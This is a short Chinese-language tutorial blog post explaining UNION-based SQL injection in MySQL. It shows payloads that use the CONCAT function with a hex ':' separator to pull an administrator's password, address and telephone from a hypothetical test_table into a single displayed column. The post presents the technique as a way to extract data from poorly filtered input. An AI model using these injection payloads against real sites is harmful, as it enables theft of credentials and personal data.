Mysql数据库使用concat函数执行SQL注入查询

作者:junjie 时间:2024-01-18 04:55:35 

SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示出来。

例如:原本查询语句是


select username,email,content from test_table where user_id=uid;


其中uid,是用户输入的。正常显示结果会出现用户名,用户邮箱,用户留言内容。但是如果uid过滤不严,我们可以构造如下SQL语句来获得任意数据表信息。


uid=-1 union select username ,password,content from test_talbe where user_id=管理员id;


实际执行就是


select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理员id;


其中显示正常用户emai的地方,变成了显示管理员的密码了。

但是,往往事情并不是这么简单,首先要找到漏洞,其次构造这种语句时候要考虑各个字段的类型,让int或samllint类型的字段显示varchar显然不合适。最后就是本文要说的。

如果出现问题的SQL语句只有一个或两个字段怎么办,我们想知道很多东西,一两个字段太少了,远远不能满足我们的需要。那么我们可以使用concat函数。

concat函数本来是这样用的SELECT CONCAT('My', 'S', 'QL');执行结果是'MySQL'。也就是连接作用的。我们利用它来为我们服务,


uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理员id;


这个语句实际查询了六个字段,但是显示的时候,把password,sex,address,telephone等字段合在一起,显示在原本应该显示email的地方。

更好的方法:中间用分隔符分开:


uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理员id;


其中0×3a是“:”的十六进 制形式。

标签:Mysql,数据库,concat函数,SQL注入
0
投稿

猜你喜欢

  • matplotlib更改窗口图标的方法示例

    2023-01-15 17:55:30
  • Python操作JSON实现网络数据交换

    2023-01-27 02:21:53
  • python 中if else 语句的作用及示例代码

    2023-04-17 00:52:35
  • python实现决策树C4.5算法详解(在ID3基础上改进)

    2022-05-06 08:01:57
  • OpenCV黑帽运算(BLACKHAT)的使用

    2022-11-11 22:32:00
  • Python语言进阶知识点总结

    2022-11-09 01:21:37
  • mysql的XA事务恢复过程详解

    2024-01-18 07:44:22
  • tensorflow训练中出现nan问题的解决

    2023-02-10 09:34:09
  • Python自动登录QQ的实现示例

    2021-09-07 19:50:26
  • SQL文本字段的数字排序问题

    2008-11-18 16:47:00
  • 鼠标实现图片的渐有渐无

    2013-06-30 02:49:10
  • Python如何使用type()函数查看数据的类型

    2022-05-30 17:49:31
  • JavaScript实现简单MD5加密的脚本分享

    2023-07-02 03:47:49
  • python 下划线的多种应用场景总结

    2021-12-19 10:51:54
  • Pandas处理时间序列数据操作详解

    2021-06-19 07:21:45
  • Python OpenCV的基本使用及相关函数

    2022-11-16 11:24:55
  • Bootstrap编写一个兼容主流浏览器的受众巨幕式风格页面

    2024-05-02 17:31:43
  • 页面按钮禁用与解除禁用的方法

    2024-04-10 10:42:58
  • Python reshape的用法及多个二维数组合并为三维数组的实例

    2021-12-18 10:29:25
  • 浅析BootStrap模态框的使用(经典)

    2023-08-20 02:21:19
  • asp之家 网络编程 m.aspxhome.com